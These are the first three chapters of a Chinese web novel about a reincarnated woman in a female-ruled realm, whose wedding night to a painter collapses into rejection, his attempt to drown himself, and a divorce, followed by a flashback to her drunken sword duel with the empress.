《垂杏春淌》 1. Chapter.1 《垂杏春淌》全本免费阅读 如果成亲能视作攻略成功,那玄凝想来一壶花雕酒庆祝一下。 因为她马上就要和攻略对象共度洞房花烛夜了。 天景城作为琼国天子的定所,最为繁华热闹,若逢喜事更是举城欢庆。 城南的红福山庄张灯结彩,正值庄主之女成亲的吉日。 送亲的队伍浩浩荡荡进了山庄,跟着队伍前来送福贺喜的人络绎不绝,人声鼎沸,宴席直到傍晚才结束。 送走了宾客,母亲玄遥从喜桌上拿了一颗杏子,不等她询问,强塞在红袖中。 “讨个好彩头。”母亲摇晃着步摇将亲女儿往门外推,“好了,别让新郎夫等太久。” 玄凝抬眼见天色沉霭,应声答道:“不会,他一个人反而自在。” 她若在,他才是坐立难安。 即便如此,她还是揣着袖中青杏走出了院门,步履不紧不慢,等到日落西山,天色彻底暗下,才走到自己的婚院。 院内池塘中放了许多莲花灯,每一盏灯都是由透明希玉雕刻而成,按照她的要求摆成了一颗心型。 要说漫长寒冷的路途把她的期待消磨殆尽,此刻看到塘上花灯,望着昏黄门窗上贴着的“囍”字剪纸,她的心仍止不住的期待。 不知他有没有看见这些花灯,若他看见了,怕不是又要吐槽她的品味。 “殿下,你不进去吗?” 身旁贴身伺候的女侍出声提醒,玄凝不知为何有些紧张,在门外徘徊了一会,实在是天冷,她被冻得十指蜷缩,可算下定决心推门而入。 屋内摆放着炭盆,比起外面温暖些许。玄凝靠近炭盆揉搓着手,内室安静无声,入耳只有炭火火星跳动的声音。 她侧身探头往屋内打量,只依稀看见床边一抹红与昏融。 “怎么不点蜡烛?” 闻声,坐着的人仿佛动了一下。 差点忘了,他的嘴此刻应该还是封着的。 玄凝不等暖了身子,大步跨过横在内室的火盆,将他头上的绣凰盖头掀起。 光线昏暗,她没能看清他脸上的红妆,倒是被一双受惊的眼睛抢走了所有注意。 心头微微麻怔,玄凝愣了愣,抚上他嘴上的金丝笼,小拇指一用力,勾着金边拉了出来。 棠宋羽嘴巴中的束缚被她拿出,津液顺着嘴角流了下来,他爱面子想要卷走咽下,却没忍住咳嗽了两声。 “我与你说过可以不用戴的。” “既是婚俗,岂能不为。” 玄凝不想在再这个问题上与他相争,随手将金丝笼扔在桌边,又弯腰亲手给他拆辫。 “烛灯亮,拆发辫,你顺序错了。” 他的语气听起来与往日无异,冷静的像是在指导洞房礼仪的红姑。 玄凝放下他的长辫,借外屋烛火点燃了内室红烛。 内室瞬间被温暖烛光填满,玄凝这才看清楚她的新郎夫的装扮。 红装衬人,倒是艳而不妖。眼尾嫣红,垂眸细长,抬眸杏花初绽,曜目水灵,叫人心生怜爱。 粉腮若云团,唇脂晕软山。鼻尖点红痣,红花恨不及。 见她紧盯着自己,棠宋羽低眉垂眼,自顾自地拆起了发辫。 玄凝收了目光,从他手中拿回本属于她的任务,他头发很长,几乎垂在床边,玄凝索性半蹲下,饶有耐心将发辫上的红绳从下至上一个个拆开。 还好之前练习过拆解法,不然这么多的红绳缠在一起,她怕是要忙的焦头烂额。 红绳被拆完的一瞬间,青丝散落,缕缕滑过她的鼻尖。 沉香的味道好闻极了,指尖缠绕他的发丝,玄凝凑近轻嗅,却被他误以为心急,陈手轻轻拨开。 “还有,合卺酒。” 他倒是按着流程一步一步来。 玄凝拿起桌上水玉酒壶,倒了两盅花雕酒,回头时他已在身后。 “你不胜酒力,还是少喝些。” 他接过酒盅,轻声道:“嗯,听君姝的。” 他总算有些新郎夫的模样了。 玄凝拿着酒盅与他对视,两人身形只相差半个头颈距离,相望久久无言,他低下头,环住她的肩膀,浊酒绕背,“君姝,该饮下了。” 交颈相贴,一饮而尽。 屋外飘了细雪,洋洋洒洒落在满地花灯上。 守门的女侍估摸着也快到关键步骤,伸着懒腰打着哈欠躲远了些。 虽不至于一口花雕就灌倒,但自打浊酒下肚,棠宋羽的耳根就愈发红艳。玄凝看得心痒,摸着他柔软无骨的垂红,附耳呵气道:“红烛亮了,发辫拆了,合卺酒喝了,接下来呢?” 温热呼吸引的人浑身激灵,棠宋羽扶着她的臂肘,低语轻颤:“该洞房了……” “那作为新郎夫,今夜……你不该有所表现吗?” 与红姑一同来指导的房鼠生,只单独教他,想来应该是些服侍人的技巧。 想到他这般自恃清高的人儿,竟也要为她学这些乱遭内事,玄凝笑意深浓,沿着他的耳轮廓抚上后颈,指腹摩挲,逼得他方寸大乱,连连后退,重新坐回床边。 她不紧不慢,只手扯下床边的红帐。 轻纱落人眼,唇点隔红绡。 棠宋羽神情一怔,眸眼触动,拉着她的手带进了帐中。 他面容红润,看向玄凝的眼神炯炯发亮。 只是握着她的手瑟瑟轻颤。 她出声安慰,“不必紧张,我与你一样,毫无经验可谈。” 进门前的紧张早被抛之脑后,美人在怀,玄凝的心跳声都要跃出烛光韫色外。 “嗯……” 棠宋羽似有考虑,略显犹豫神色。 玄凝权当他害羞,不等开口,低头就要吻他。 “玄凝。” 她被他拦住,不得已停下。 这种关头停下,还叫她的全名。 她不禁疑惑:“怎么了?你不会是要悔婚吧?” “有件事我瞒了很久,一直没告诉你。” 玄凝依然保持着近身,贴着他脸颊边问边亲:“何事?” “我……不是第一次…” 她停顿片刻,身形拉远问:“什么第一次?” 棠宋羽鼓足了勇气对上她的视线,“不是毫无经验。” “我的初次已经没了……” “……” 玄凝不可思议地直起身,居高临下望着他。 “你知道你在说什么吗?” “知道……但我想你也……” “搞什么?我可是纯爱加双洁党!”玄凝丝毫不在乎他未说完的话,掀开红帐就要离开。 许是没想到玄凝的反应会如此之大,他顿时慌张,起身想要拉住要走的她。 “阿凝,听我解…” “不好意思不想听。”玄凝回头打断他的话,“我现在真的很烦,花这么长时间在白菜身上,好不容易等来丰收,发现白菜早就被虫啃烂了,换做是你能接受?” “哦,忘了你是君子兰,众星捧月,高高在上惯了,普通人的心情哪能体会的了呢?既然喜欢被人捧着,那就回你的画院继续当君子兰,嫁给我岂不是屈就。” 玄凝生气时总口无遮拦,连对他而言最痛苦的称号也带着嘲讽说了出来。 棠宋羽脸上苍白的没有一丝血色,只是眼睛直勾勾地看着她的身影,咬紧了牙关。 玄凝披上白狐斗篷,提着灯笼便要出门。 “你去哪。”他的声音从背后响起。 “我要去找我母亲,商量休夫的事。” 外面飘着雪花,玄凝打开门,冷冽寒气夹杂着雪花瞬间灌入屋内,她甚至不愿回头看他一眼,门也不合的就走。 冬至月,风大寒。 白狐斗篷虽然暖和,但挡不住脸冷。 玄凝的脸被吹得僵硬,心中怒火也渐渐平息,边走边调出系统质问他到底怎么回事,说好的定制攻略对象,怎么给她一个双洁党匹配了一个不洁男。 系统:[亲亲,系统工作时间为8:00-17:00,请在该段时间内联系我们噢~] 得,就她一个受伤的倒霉蛋。 玄凝本不是这个世界之人,她的原身死了,死于一场酣畅淋漓的加班。 她的原名也没有这么好听,由她那逝去的奶奶取得,至于叫什么,她不想透露,反正听着不像是人类。 玄凝临终前本抱着上天堂的心思,但,人死了,又没完全死透。 她的灵魂不知怎么就被看中,有自称HR的人带着她去系统中心报道。 当人力对她说出“恭喜你成为我司的一员,接下来你将为系统中心免费工作500年”时,玄凝的小脑萎缩了。 开什么地狱玩笑,她是加班猝死的,现在告诉她死后也要打工,还是打白工,死人难道没有劳动法吗? 她试图逃跑,人力大姐在身后紧追不舍,口中不忘宣传公司福利,什么年终奖、季度奖、绩效奖,包吃包住,还提供免费下午茶、健身房、不定期团建,没有应酬,没有加班,朝八晚五。 所谓福利,玄凝很清楚,就是薛定谔的猫,进公司前都有,进去之后就都没有了,而且那根本不算是福利,顶多是维持精神正常的必要手段,人就算是养条狗还要用脚逗它玩呢。 她慌不择路,见到一扇透亮的玻璃大门,误以为是公司大门直接跑了进去。 结果她跑到尽头,发现有张办公桌,桌上还躺着一只白猫。定睛一瞧,办公桌立牌上写着:大老板。 这么大的办公室是要随时在里面跑800米吗。 而且谁家老板是只猫啊。 人力大姐火急火燎地赶过来,对桌子上的猫连连鞠躬道歉。 要是给猫打工…… 玄凝心里有点愿意,要是它还给摸给抱给亲亲就更好了。 大老板似乎知道她内心所想,抬头悠悠看了一眼她,“喵”了一声像是在拒绝。 “啊修白喵喵叫声好可爱啊~再叫一声来听听?” 她被赶出来了。 原因可能是对大老板出言不逊。 不知道人力大姐跟大老板说了什么,出来后告诉她,系统公司最大的福利,员工入职后,可以体验一段定制人生剧情。 这福利简直打败了全国99.99%的公司。 不用白不用,玄凝一想到之后要给公司打500年的白工,母单多年的她决定来把爽的。 “女尊,能文能武,容貌绝佳,身份权贵,父母开明,最好丧父。男主一定要长得好看,身材好但不壮硕,容貌清雅但不阴柔,最重要的是,一定是双洁。 “言情,纯爱,女尊,女强,双洁…”系统员工飞快地点着屏幕,选出她想要的标签。 “还有吗?”他问。 “他一定要爱我。” “这个需要你自行努力,不过我可以将他设定成对你一见钟情。” “一见钟情?那就是见色起意,有点无聊还是算了。” “那你还有其他要求吗?” 玄凝拍手道“结局一定要HE!” * 母亲房内灯火昏黄,玄凝站在门外伫立了好一会儿,玄遥打开房门问她:“新婚之夜你怎么跑出来了。” 玄凝委屈极了,坐下来指控道:“他告诉我他不是第一次。” “就这?”玄遥不明白她为何在意这个,“他一介男子,能在天景城迅速站稳脚跟,想来是有些手段在身上,既然不是第一次,对你岂不是更好。” “这很重要!我是第一次凭什么他不是啊,况且谁知道他之前跟谁厮混,我还要提防他是否有传染病。我不接受脏男人做我的夫婿!更不要跟脏男人传宗接代!” 她一口一个脏男人,玄遥都被她的话弄糊涂了。“你这说的,都是哪跟哪啊?” “当初我可是劝过你,这种男人纳为宠环就够了,你也不问清楚非要娶人家,新婚之夜你把人家丢在房间,传出去那孩子以后怎么在人前露面。” “他不是我君夫,旁人自然也不会说什么。” “你是要休了他?你可想清楚了,他是你不惜得罪长公主也要抢过来的人。” 玄凝本来斩钉截铁,但听到母亲提醒,到嘴边的话又重新酝酿。 “我想清楚了,还是……” 突然有女侍急匆匆从院外跑进来,“不好了!殿下!新郎夫他、他投湖自尽了!” “什么?”玄凝惊身而起,“哪来的湖让他投?” “就是殿下院中新挖的人工湖!” 从婚院跑到她院子里投湖? 他可真是!疯子! 尽管玄凝对他颇有微词,但生死面前也确实分得清是非,暗骂一声立马提裙跑了回去。 “斗篷!”玄遥拿着她的斗篷无奈跟了上去。 等玄凝赶到时,有女侍正在岸边焦急的探头探脑。 她吼道:“愣着干什么,救人啊!” “殿下我不会水啊” “找会水的啊,那些男工呢?” “殿下你下午在宴席上赏了全庄下人酒钱和假期,现下他们都在自己家呢。”贴身女侍瞪着圆眼,小嘴可委屈地撅着。 玄凝是真服了,恨不得抽自己两个大耳光。 眼见湖中没了半点动静,玄凝实在管不了这么多了,脱了长衫霞帔绣花鞋,纵 2. Chapter.2 《垂杏春淌》全本免费阅读 玉絮飘了一夜,山庄雾气缭绕,枝头琼花素裹。天还未亮,院内脚印纷杂,有男工眼尖,拿着木锹,将脏雪铲到湖边,却看见雾霭沉沉,灰蒙蒙的湖面上有一团深红烟色,正朝着岸边漂浮。 “看什么?还不快拿东西把衣服捞上来。”女侍注意到他,也注意到湖上的衣服,命令他用长钩将红外衫捞了上来。 “这不是嫁衣吗……” 男工嘴里小声嘀咕,谁料那女侍跟个顺风耳似的,听到他的话一脚踹了过去。 “可小心你的嘴!” “是是是,云泥姑娘教诲的是。” 云泥斜眼冷哼,差了旁边的女侍将衣服送去清洗。 “不必洗,直接烧了吧,留着晦气。” 玄遥不知何时出现在院中,她面容憔悴,像是一夜未能合眼。 云泥走上前行礼问道:“庄主,殿下她醒了吗?” “受寒加上劳累,估计还要两个时辰才能醒来。” 玄遥揉了揉太阳穴,嘴边呵出热气,氤氲白烟散在交九寒天。看着拿走的红嫁衣,她随口问道:“他呢?” “还在院外跪着。” “这孩子脾气倒是和凝凝一样倔,让他进来吧,那可是咱家殿下拼命救回来的人,可别冻坏了。” 棠宋羽跪在院门外,一头青丝被冻上了白霜,眼尾唇角上还挂着刺眼的红。脸上布满乌紫,没有丝毫血色,活脱像一副冻死的尸体,旁人看上一眼都要起鸡皮疙瘩。 “别跪了,庄主让你进去。” 云泥走了出来,见他这幅样子,甚至不愿施舍一个可怜眼色。 他一句话也说不出来,只是手撑着身子想要站起来。 他的四肢被冻得僵硬,即使想要站起,也要花上好一会功夫。 云泥看他动作滑稽,出言讥讽道:“这会倒是慢吞吞,投湖的时候倒是动作利索。” 棠宋羽扶着腿艰难站起,用他惨白的嘴巴问道:“殿下……如何?” 可惜他声音太小,云泥没能听见,纵然听见了,依她的性子也不会告诉他。 他拖着笨重的身体,一步一顿,常人只要花上数十步就能走到她的寝居,他却足足花了上百步。 云泥在身后嘲笑,“雪地黏脚,怎么没人给新郎夫备上花轿,好抬他进去。” 刚从堂前出来的天蜻抓住她的胳膊,警示了一眼,“别说了,他落魄至此已够可怜。” “他可怜?我看他是蹬鼻子上脸。仗着殿下宠爱有恃无恐,居然敢投湖威胁殿下,害得殿下寒冬天下水去救他,至今昏迷未醒。” 听到她至今未醒,棠宋羽身形一滞,停在了寝居外。 见他还要跪下,玄遥厉声呵止道:“够了。” 她只是一时气话,这孩子怎如此一根筋。 “你先去偏殿,已经给你备好了热水和干净衣服,你洗完再来见我。” 棠宋羽嘴唇一张一翕,似想违抗她的话,玄遥只好多添了句,“她无事,很快就醒了。” 他深深望了寝居一眼,这才跟着女侍前去偏殿沐身。 冻僵的身躯泡在草药热汤中,血液重新活络了起来,热气熏得面色粉红。头发泡在水中重新恢复了柔软,在光下乌黑发亮。 棠宋羽木讷地清洗着身子,望着水中漂浮的藏红,他看见自己嘴角的胭脂。 * 池塘上的莲灯,点点莲火汇聚,早已看不出原先模样。 当她头也不回走出婚院时,棠宋羽直愣愣地站在门口,絮雪吹在他的身上,冰莹轻点鼻尖,他的心已然比雪更凉。 他很想将她拦下,将她按在床边,破开胸腔,看看她的心究竟怎么长的,为什么变化如此快,先前说过的话,做过的事,能全然不作数。 她是不是存心想他难堪,存心想羞辱他,才会在大婚之夜以不洁之由置于他死地。 她若有意不记得,他的清白又有谁能证明呢。 不知不觉,棠宋羽已走到她的院中,有女侍看见她,疑惑问道:“咦,新郎夫这个时间不应该……你怎么到殿下院子来了?” 棠宋羽置若罔闻,没有停步,一直往湖边走去。 女侍觉得不对劲,连忙跟在了身后 她终究和长公主一样,不过是把他当个物件,挣来抢去,只为了那一刻的拥有。 尝过了滋味,便不再有新鲜感,再用不洁之由,顺理成章地将人踹开。 她的爱,当真凉薄。 “玄凝,你的心太冷了,我承受不了。” 他一头栽在湖中,岸上的女侍吓得大叫。 冷水刺骨,他分明是睁着眼,却什么也看不见。 衣物的重量让他不断下沉,溺毙感包裹着他的心脏,无法呼吸,无法思考。 渐渐地,他听到自己的心跳声。 渐渐地,他什么也听不见了。 * 玄凝醒来后,发现床边空无一人。 她唤了一声,门迅速被推开,她以为是他,却发现是云泥天蜻二人。 “殿下你可算醒了。” “棠宋羽呢?” 听她开口就问那个男人,云泥的小脸瞬间垮了下来,“殿下真是不爱惜自己身子,像他那种人放任不管就好,何苦让殿下费尽心思,连命都搭进去。” “我问你他人在哪,你何时变得如此不知分寸。” 天蜻见玄凝有气,忙将云泥拉开,“棠画师他无事,现下应该在庄主那里议事。” 玄凝蹙眉,母亲和他议事,不会是……她慌忙掀开暖被,起身就要去找他们。 云泥天蜻赶紧拦着,不让她出房间半步。 “让开!” “殿下刚醒不能受寒,要静养几日,方才不留头风病根,这也是庄主的意思。” “就是就是。” 她俩是铁了心要拦,玄凝一寻思,她们二人身手加起来比自己厉害,以一对二,硬碰肯定不行。玄凝在房间急躁的走来走去,摊手道:“服了你们,我回去躺着总行了吧。” 见她躺下,云泥天蜻放松了警惕,又重新回到床边候着。谁料刚过去就被掀起的被褥蒙了脸。 “殿下!” 两人将被褥拉扯下,眼前哪还有玄凝的身影。 门声响动,两人回头刚要去追,却发现屋外落了锁。 “我去去就回——” 屋外声音戛然而止,玄凝望着院中身影,心里的怒火又噌的上来。 “棠宋羽!” 他就站在原地,望着她怒气冲冲地走过来,下跪行礼道:“承坤殿下,万安。” 玄凝一肚子的话还没说出口,就被他礼貌生分的称呼和毕恭毕敬的一跪,硬生生堵了回去。 “你喊我什么?” “天子赐字号“承坤”,自是唤作承坤殿下。” 她昏迷不醒时,他脑子是进水失忆了吗。 玄凝俯下身揪着他的衣襟,咬牙切齿道:“你该唤我君姝。” 他目光躲避不及,直直撞上了她的眼眸。 棠宋羽眸色无光,如冰天雪地中凋零的残花,看不见任何生机,他笑的凄凉,蹙眉勾唇,倒也算得上一个“美”字。 “休书我已经签了,如今,殿下是自由身。” 漫长无声之中,她攥着他衣襟的手紧了又紧。 棠宋羽一动不动,任她在寒风中哆嗦,也不肯伸出手将她拥住。 许久,他起身叹了一声: “殿下,自重。” 玄凝抬起头,一双眼睛布满血丝,她眼眶虽发红,倒是一滴泪也没有。 “既然休书已签,那你还来我院中做什么?来给我下跪请安吗?” 她这个性子也不是一天两天了,棠宋羽哑声道:“是,过去多谢殿下关照,小人无法让殿下满意,请殿下另寻良缘……” “我自然会找。” 她毫不迟疑,棠宋羽只觉得心脏又被狠狠划了一刀,霎时面色灰白,但还是坚持说说完:“那就祝殿下早日觅得佳人良配。” 玄凝见他要走,又拉着他的衣袖问:“画师的书画院中可有合适人选,改天引荐给本君。” “……殿下若感兴趣,请自行前往寻宠。” 棠宋羽想要快点离开,却被她拽着衣袖,力度之大,似不肯让他踏出院中一步。 “你当真签了?” 玄凝还是不肯相信,他为了不被休而投湖的人,会在被她救后签了休书。 玄遥虽然有些手段,但还不至于对他下手。 “你寻死觅活不就是为了留下,你怎么可能会签。” 她竟然…… 她竟然以为他是为了不被休才寻死。 棠宋羽猛地甩开她的手,头也不回走出了院子。 他脸色羞愤难堪,落了滴泪在脸颊上,又被手掌肆意抹去。 好一个风光霁月的承坤殿下,示好是她,追求是她,求亲是她,表白是她,要休了他的也是她。 到头来只有他一人沦陷。 何其可悲!可笑! 见他甩手离开,玄凝心乱如麻,尽管被冻得发紫,她还是在冷天中站了许久,直到玄遥进到院中,见她衣衫单薄,赤脚立于寒砖上,急忙把身上的斗篷脱下来披在她身上。 见她神情木讷,玄遥不忍责怪,只好哄道:“进屋吧,斗篷给了你,阿媫有些冷。” 玄凝像是听不懂她的话,一动不动。无奈之下,玄遥只好搀扶着把人拽走了。 云泥天蜻见是庄主开的门,还没来得及感谢,就瞧见她们的殿下浑浑噩噩地走进来。 “去备足浴药汤。” 玄遥开口令下,两人立马跑去堂前。 温暖的空气让僵硬的感知重新软成一团,玄凝坐在床边,抬头问她的母亲。 3. Chapter.3 《垂杏春淌》全本免费阅读 旭和六年,琼国王室耗时三年,顺利迁都北泽。 祭典当日,无云无风,祭坛上方忽现双色虹光;天之盛景,百官臣民无不动容,天子受天命赐福,跪拜母神娲祖,并赐名新都,改“北泽”为“天景”。 彼时的玄凝,刚被奶妈按着头,从温暖的母床拽了出来。 她极不情愿,发出了响亮的啼哭,却无人理会。 刚生下孩子的玄遥,听说外面有双色虹光,不顾产医劝阻,让女侍将她抬出去,只为了看一眼那双色虹光。 虹光色彩斑斓,夺目却不耀眼,像极了她那意外身亡的君夫。 双色虹光,像一对眼睛,许是他在天上看着母女二人。玄遥被抬回床上后,对身旁的产医说道:“凝,名字就叫‘玄凝’。” 虹光无声无息出现,又悄无声息地消失。襁褓中的婴儿哭过后渐渐睡去,门外候着的手工匠人将刻有“凝”字的长命锁,交付到产医手中。 长命锁挂在摇篮边上,睡梦中的婴儿小嘴上翘,做起了美梦。 旭和二十年,天景城中,杏花开的正盛。 正值春浓时,天子长女——长公主天覃,适逢吉日,行及笄之礼,玄家庄庄主玄遥受天子邀请,携女儿玄凝入宫参加典礼。 玄家乃将门,世代护国,现任庄主玄遥虽弃武从医,曾在太旭末年战乱时,救天子于水火之中,作为天子的救命恩人兼多年好友,座位自然离天子近了些。 玄凝也因此看清楚,当今天子的长相。 只是隔着高台看上一眼,就能想象到她驭着汗血宝马,手挥长剑,率千军万马,收复山河之景。 当初天子还只是琼国二公主,敌军进犯,边境失守,二公主得天子传召,临危赴命。原计划的五年收复失地,她只花了三年,就将被邻国邯齐占领的国土全数收回。 民心所向,天子顺应民意传位于二公主,主动退位,搬去临海沃城养病。 玄凝自幼习武,舞刀弄枪,身上不少陈年旧伤。而天子经历的那三年,更是比习武要苦,那身锦绣华缎下,不知有多少伤痕。 她望的出神,全然不察这场典礼的主人公,正执团扇款款走上大殿。 钟音清脆,琴音沉稳,随着花鼓敲下,长公主天覃身穿长春牡丹纹样深衣,外着双色凤绣大袖长衫,虽未及笄,但她的样貌随她母亲生的深邃。朱红胭脂上唇,新月眉浓勾挑,束带矜庄,美人和衣裳相辅相成,净显雍容华贵之姿貌。 律吕交错呼应,长公主一步一却,随着数十下的敲击音,终于走到殿中央,立于木梳前,等待她的阿媫为她梳头落笄。 天子起身挪步,拿起檀木梳,将她一头浓密发亮的长发握在手中,由上至下,动作无比轻柔小心。 这双手可为国浴血杀敌,也可为女儿梳发落笄。 秀手盘乌云,青丝绾脑后,金簪斜穿,礼成。 典礼后半,宾客举杯轮流相敬,玄凝纵然酒量好,却也不敌一个接着一个的敬酒。而她的母亲早在两杯花酿下肚后,就借故离开了,留下玄凝一人独自应付场上的大人,美其名曰,维护人脉。 不知是她脸红醉酒之态被天子看见,还是天子本就对她格外留意,竟主动为她解围。 “你们可别光逮着玄家小丫头敬酒啊,本王听说她自幼习武,万一喝醉了,怕是不分青红将你们揍上一顿,到时本王可不为你们打抱不平。” 众人哄堂大笑,纷纷绕过了玄凝,改去敬长公主。 玄凝本就有醉态,见众人不再来敬酒,举杯憨笑,摇摇晃晃地站起来,朝着五步之遥的高台走去。 众人忙着敬酒,没人注意到她,等天子的视线从长公主身上移开,竟发现玄家小丫头爬上了高台。 身边伺候人的女官连忙口头认错,手忙脚乱地扶起她,想要将人拉拽下去。而玄凝的手却死死抓住了一侧扶手,纵然三人来抬,也纹丝不动。 “算了,且看看她要做什么吧。”天英挥手将女官遣散,既是玄遥之女,想来也不会做出行刺天子的事情。 她刚这么想,只见玄凝晃悠悠地走到她的庆岳宝剑前,伸手握住了剑柄。 宝剑出鞘,天英脸色微变,刚想叱责,却闻刃合之声,玄凝握住剑柄又回了鞘。 这丫头,到底要干什么。 玄凝捧起宝剑,一步一顿地走到天子面前,不但不跪,反而直勾勾地盯着她看。 天英眯眼打量,视见她面颊通红,眼神时而恍惚时而明媚,就心知她这是酒劲上了头,要开始“耍酒疯”。 果不其然,下一刻,玄家之女俯身将宝剑呈给天子,口中振振有词道:“听闻陛下的剑法高超,小女不才,想与陛下切磋一番。” 此言一出,大殿瞬间安静无声,所有人的目光都聚集在玄凝身上,包括上一秒还在和男侍谈笑风生的长公主。 见天子不答,玄凝执拗,又朗诵了一遍原话,又添了句“陛下放心,我自小练剑,从未见血,不会伤到天子凤体。” 她倒是挺自信,竟觉得自己一定不及她,天英横眉一挑,起身握住剑柄,“好,这场比试,本王应下了。” “陛下!”听到天子答应切磋,台下的长公主坐不住,拖着长衫上前叱道:“好你个玄家之女,居然敢对陛下口出狂言,刀剑无眼,你如今酩酊大醉,如何拿得了剑——” 话未说完,寒光乍现。 玄凝提着庆岳宝剑,直指长公主纤细白嫩的脖子,剑尖距离天覃的喉咙只差了一小截指甲的距离,吓得她连口唾液都不敢咽下。 天英暗暗吃惊,她出鞘竟无声!方才电光火石的刹那间,就连自诩剑法超群,久经沙场的她都没看清动作。 尽管喝醉了,玄凝拿剑的右手仍丝毫不颤,瞧着长公主花容失色的脸蛋,她疑惑道:“我与陛下比试,与你何干。你与其在这耽误时间,不如早点跟那位绿袍男侍移驾东宫,凤榻缠绵。” 被点名的绿袍男侍见成了众矢之的,低着头下去了。 “你!” 她竟然敢当着天子和众人的面,羞辱她只享风流。天覃脸色铁青,奈何人在剑下,她不得不向自己母亲求助。 “陛下……” “行了,长公主累了,还不快扶下去歇着。” 女官上手想要搀走天覃,奈何她退身,玄凝的剑却依依不饶地追着她走。 见状,天英只好按住玄凝拿剑的手,“你不是说要我切磋,你的剑呢?” 玄凝懵懵地放下剑,伸手摸着身侧,什么都没有,又绕手到背后,还是没有。 天英见她凭空摸剑,不禁失笑出声,“来人,将不离拿来。” 不离是陪伴她最久的一把剑,由她师父亲手锻造,虽不是什么名门仙剑,却数它用的最得心应手。 玄凝一听要拿不离剑,立马摆摆手,晃着脑袋道:“不离珍贵,怕弄脏了惹陛下不高兴,还是随便给我一把剑就好,我看那位近卫身上的剑就不错。” 近卫忽然被点名,见天子眼神示意,只好解了剑革,将剑递到玄凝手中。 利剑到手,玄凝像是得了什么新奇玩意,握着剑柄跑下去耍了几轮剑花。 剑光随着裙袂翩跹,玄凝舞剑上前,众人纷纷退避三舍,唯有天子持剑立于台阶之上,望着她神色飞扬的样子,眼中含光。 “剑舞的不错,不知是真功夫,还是假把式。” 手腕挥动,剑影宛如爬蛇,玄凝小步后退笑道:“是真是假,陛下一试便知。” 玄女有心相邀,她作为天字长辈,岂能拒绝。 天英提剑跃下高台,三两步追上不断后退的玄凝,扶剑挥去,没有任何招式可言,甚至只是刚入门弟子的基本功,只为试探其功力深浅。 玄凝似有不满,只手挡下,并借力反弹挥去,“陛下也太小瞧我了。这一下的功力,纵是三岁孩童也能挡住。” 她倒是口气不小,天英试出了结果,便也不再留情。剑刃斜倾,出其不意攻向她的璇玑、紫宫、云门三点穴位之间。 玄凝的身子柔软无骨般,在见到她试图发动突袭后,瞬间向后软下腰肢,躲了过去。 及腰的长发随着下腰垂落在地上,玄凝云肩周转,回身时剑风凌厉,势如破竹,天英单手接下了这一剑,却也被逼得后退了半步。 “陛下,可要小心了。”玄凝出声提醒,天英心中警铃大作,提气防备。 她以手绾花,不等广袖停皱,剑刃似闪电迅疾,随着骤雨般进攻的步伐不断向天英身上挥去。 锋利的剑刃撞上剑脊,雷鸣般的声音响彻殿内,她进攻猛烈,天英虽有防备,但还是被逼得连连后退。 堂堂天子又怎甘心被一黄毛丫头逼得败退,天英双手握剑,腰身发力,用力挡下了她的剑,不等她反应,朝着她的肩颈又是一记重击。 玄凝见她认真,这才满意道:“对嘛,就是这样,认真打。”说话间,剑身朝外挡下了她的反击,扶手送去。 二人你来我往,高手过招,众人看的认真,忍不住开始窃窃私语,讨论这场切磋谁输谁赢。 长公主坐立于席位,听到众人议论,歪嘴嘲笑道:“自然是陛下赢。” 就算她玄凝是什么剑术奇才,作为臣子,她敢在大殿之上,众目睽睽之下赢了天子? 剑意纵横,于空中不断摩擦产生花火,乱花灼人眼,怒剑破山河,天英使出了自己的看家本领——悲喜剑法。早些年从师父辰宿真人那里学来,仅悟到了剑法悲意,唯独最简单的喜意,却迟迟不能领悟。 对方看出她的剑法,不急不慢使出了相同招式,天英心细如发,很快发现她使得剑意恰是喜剑。 一悲一喜,一正一反,势均力敌,天英许久没有如此畅快过,打的完全不知疲倦。 日落霞山,风清月白,场上身影纠缠,久久不分胜负。 或许是年龄所致,天英俞渐感到吃力,一个不留意让玄凝钻了空子。 眼看剑锋就快到了天子面前,场上众人无不倒吸冷气,长公主焦急站起,正喊道“住手”时,玄凝忽然身形一晃,和手中剑一起倒了下去。 天英本在心中已然接受自己输了的事实,见她倒地愣了半晌,反应过来赶紧让女官上前查探。 鼻息柔缓绵长,脉象平稳无异,女官面露喜色,“回禀陛下,她只是睡着了。” 竟是睡着了。 在与她切磋的时候,在快要赢了她的节骨眼上,她居然醉酒酣睡过去。 天英放声大笑,“好一个玄家,好一个玄家女,天意如此,这场切磋可就算我赢了,你可别怪本王胜之不武了。” 在众人欢笑中,玄凝又悠悠醒来,望着地上的剑,仿佛不知道发生了何事,抬头问天子:“陛下,我怎么躺地上了?” 她又疑惑看向众人,“你们在笑什么?” 天英贵为天子,憋笑憋得艰难,踩着石榴红毯,回到了高台上,坐了许久才缓过来。 “玄凝,你过来。” 被天子指名道姓,非赏即罚,玄凝艰难站起,大步阔首的向前走了几步,又扑通一声摔倒在地。 又是一阵哄笑。 玄凝像是没了力气,站也不站,直接跪着爬到了高台下。 “陛下,你找我?” “瞧瞧你现在,哪还有方才不知天高地厚的样子。”天英嘴上不说夸赞话,心里却觉得玄遥家的小丫头越看越喜欢。 近几年,她忙于朝堂政事,算来已经大半年没去演武场比试身手,更别说拿剑了。 一番会武,天英身上出了汗,身心甚是畅通。能在宫中遇到能和她剑法不相上下的,又肯倾力过招的,少之又少。 “传我旨意,玄家之女年少成才,将来必成大器,赏……” 天子有所犹豫,史官见状,停笔等待。 赏什么呢,玄家庄家大业大,祖上留下的基业比她这个天子还要富裕。 金银财宝,良田美宅,书法名画,侍人侽宠,他们玄家全都不缺。 天英眸眼一瞥,见长公主正紧张望着她。 她就只有这一个女儿,平日里被骄纵惯了,功课不行,习武不行,颠鸾倒凤之事倒是行的很。不关心朝堂之事,只关心哪里有朗君,好把人抢到手。 一味放任不管也不是好事,她既已成年,该长点心了。 “玄家庄主玄遥对本王有救命之恩,嘉封爵位,其女玄凝,深得本王欢心,玄承天恩,剑意坤朗,特赐封号‘承坤’。另外从今起,本王认玄凝为义子,身份待遇与长公主同级。” 封赏一出,别说是众人了,就连跪着的玄凝也是脸色一变。 五年前,玄家在天景城东南西北四角重修山庄,已经引起轩然大波,当下好不容易从风口浪尖下来,又被封官加爵,甚至史无前例,收亲王世子为义子。 天子,这是要把她往火坑推啊。 天覃气得拍案而起,“阿媫!你为什么要收她做义子!” “放肆,说了多少次,大殿之上没有阿媫,只有陛下。” 天英神情威严,让人不寒而栗。 “……哼!”长公主甩袖走人,临走前还狠狠地剐了一眼跪在地上的玄凝。 今日明明是她的成人礼,倒让这玄家女抢了风头。 长公主神情像是要把她吃了似的,玄凝心中无奈,也只是礼貌颔首。 